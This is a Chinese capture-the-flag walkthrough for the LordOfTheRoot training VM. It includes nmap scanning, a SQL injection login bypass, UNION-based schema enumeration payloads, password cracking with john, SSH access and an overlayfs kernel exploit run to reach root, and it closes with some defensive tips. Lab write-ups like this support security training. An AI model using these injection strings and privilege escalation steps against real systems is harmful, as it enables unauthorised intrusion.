LordOfTheRoot靶机渗透测试实战与漏洞分析
1. 靶机环境概述LordOfTheRoot 1.0.1是Vulhub靶场中一个基于Ubuntu系统的渗透测试训练环境模拟了存在多重安全漏洞的Web服务器。这个靶机最显著的特点是采用了魔戒主题的登录界面实际包含SQL注入、权限提升等典型漏洞链。我在本地虚拟机VMware Workstation 16测试时分配2核CPU/4GB内存即可流畅运行。注意建议使用Kali Linux 2023.1作为攻击机其预装的Burp Suite Community 2023.5版本能完美兼容本靶场的漏洞利用2. 初始信息收集2.1 网络扫描与端口探测使用nmap进行全端口扫描的命令如下nmap -sS -p- -T4 192.168.1.103 -oN initial_scan.nmap典型扫描结果会显示22/tcp open ssh1337/tcp open http Apache 2.4.72.2 Web应用指纹识别通过Wappalyzer插件识别到服务器Apache 2.4.7 (Ubuntu)编程语言PHP 5.5.9前端框架jQuery 1.11.1关键发现/978345210/index.php页面存在登录表单页面源代码中发现注释!-- TODO: Remove test credentials before production -- !-- admin:MyPreciousR00t --3. SQL注入漏洞利用3.1 登录绕过攻击使用发现的测试凭证登录失败后在用户名栏尝试经典注入 or 11 --成功绕过登录进入后台可见系统未对输入进行任何过滤。3.2 数据库信息提取通过Burp Suite拦截修改请求使用以下注入语句获取数据库版本admin UNION SELECT 1,version(),3,4 --返回结果显示MySQL 5.5.44版本。3.3 表结构枚举分步执行以下语句获取关键表信息1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schemadatabase() -- 1 UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_nameusers --发现users表包含username和password字段。4. 权限提升路径4.1 密码哈希破解获取到的密码哈希格式为$1$VQ6a4lq5$X5aZ5J5L5Z5J5L5Z5J5L5使用john破解john --formatmd5crypt hash.txt --wordlist/usr/share/wordlists/rockyou.txt2小时内可破解出明文密码。4.2 SSH横向移动发现服务器开放SSH服务尝试使用破解的凭证登录ssh cracked_user192.168.1.103成功获取普通用户shell。5. 提权至root5.1 内核漏洞检测执行uname -a显示Linux 3.13.0-24-generic内核存在著名的overlayfs本地提权漏洞。5.2 漏洞利用实战下载编译公开的EXPgcc ofs.c -o ofs chmod x ofs ./ofs执行后成功获取root权限可在/root目录下找到flag文件。6. 防御建议输入验证$username mysqli_real_escape_string($conn, $_POST[username]);最小权限原则chmod 750 /var/www/html定期更新apt-get update apt-get upgrade -y7. 常见问题排查注入失败检查确认Burp Suite拦截模式为Intercept is on检查SQL语句中的空格是否被URL编码提权EXP无法运行apt-get install gcc linux-headers-$(uname -r)SSH连接超时ssh -o ConnectTimeout30 -v userip

相关新闻

代码随想录二叉树刷题指南与技巧

代码随想录二叉树刷题指南与技巧

1. 为什么选择代码随想录刷二叉树题目第一次接触代码随想录是在去年准备跳槽面试的时候。当时刷LeetCode遇到了瓶颈,特别是二叉树相关的题目,总是感觉思路不清晰。偶然在技术社区看到有人推荐这个刷题路线,抱着试试看的心态开始跟着练习&…

2026/11/3 1:36:47 阅读更多 →
3DMAX行业前景与职业发展:从软件操作到数字匠人的进阶之路

3DMAX行业前景与职业发展:从软件操作到数字匠人的进阶之路

1. 项目概述:一个老兵的行业观察“3DMAX有没有前途?” 这个问题,几乎每隔一段时间就会在各个设计论坛、新手交流群和职业规划帖子里冒出来。作为一个在这个行业里摸爬滚打了三年多的建模师,我每天打交道最多的软件就是3DMAX&#…

2026/10/24 21:18:30 阅读更多 →
Avogadro 2:3个核心功能重塑分子建模体验的开源工具

Avogadro 2:3个核心功能重塑分子建模体验的开源工具

Avogadro 2:3个核心功能重塑分子建模体验的开源工具 【免费下载链接】avogadroapp Avogadro is an advanced molecular editor designed for cross-platform use in computational chemistry, molecular modeling, bioinformatics, materials science, and related …

2026/11/3 13:48:58 阅读更多 →

最新新闻

Electron桌面应用开发实战:从环境搭建到打包发布全流程

Electron桌面应用开发实战:从环境搭建到打包发布全流程

做前端这些年,我大部分时间都在跟浏览器标签页打交道,直到第一次把桌面应用跑起来,才发现原来自己一直被限制在地址栏和刷新按钮围起来的框框里。Electron这个词,最开始是在某段时间频繁出现在同事的讨论里,一个用HTML…

2026/11/5 12:28:00 阅读更多 →
滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

简介:亚太天能T109滑盖智能锁产品说明书是一份PDF格式的官方技术文档,主要面向智能锁安装人员、终端用户及售后维护者,帮助快速掌握产品安装、配置与常见故障处理。全包仅1个PDF文件,大小4.37MB,内容结构清晰&#xff…

2026/11/6 9:29:27 阅读更多 →
PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

上个月我在调试一台高速AGV的驱动系统,整车要求空载跑到8m/s,电机转速已经拉到额定点,驱动器的输出电压也顶到了母线电压极限附近。再往上踩速度指令,转速纹丝不动,三相电流反而开始震荡。那会儿我的第一反应就是&…

2026/11/5 12:28:01 阅读更多 →
C++核心知识点:从内存管理到STL的实战指南

C++核心知识点:从内存管理到STL的实战指南

C 这门语言我前前后后折腾了十几年,用它写过嵌入式驱动、做过游戏服务端,也搭过基础组件库。每次看到新人一头扎进"C 核心知识点"这个搜索词,我其实挺感慨的——这门语言的难点从来不是语法多,而是知识点之间的耦合太深…

2026/11/5 12:28:02 阅读更多 →
T109滑盖智能锁怎么装?安装调试与故障排查全攻略

T109滑盖智能锁怎么装?安装调试与故障排查全攻略

简介:亚太天能T109滑盖智能锁产品说明书以PDF格式发布,适合智能锁用户、安装人员与售后维修人员阅读。内容围绕T109系列指纹密码刷卡锁展开,先介绍前面板、后面板、锁体、机械钥匙、电池盒盖等部件名称与功能,再给出完整安装步骤&…

2026/11/6 8:08:42 阅读更多 →
LLM知识降熵:从信息垄断到理解权下放

LLM知识降熵:从信息垄断到理解权下放

你有没有过这种经历:翻开源码注释、论文摘要或者一份专业报告,每个字都认识,连在一起却像天书。想找人聊聊,身边要么没人懂,要么懂的懒得跟你解释。后来我试着把同一段内容丢给一个大语言模型,几秒钟之后&a…

2026/11/5 19:38:59 阅读更多 →

日新闻

周新闻

月新闻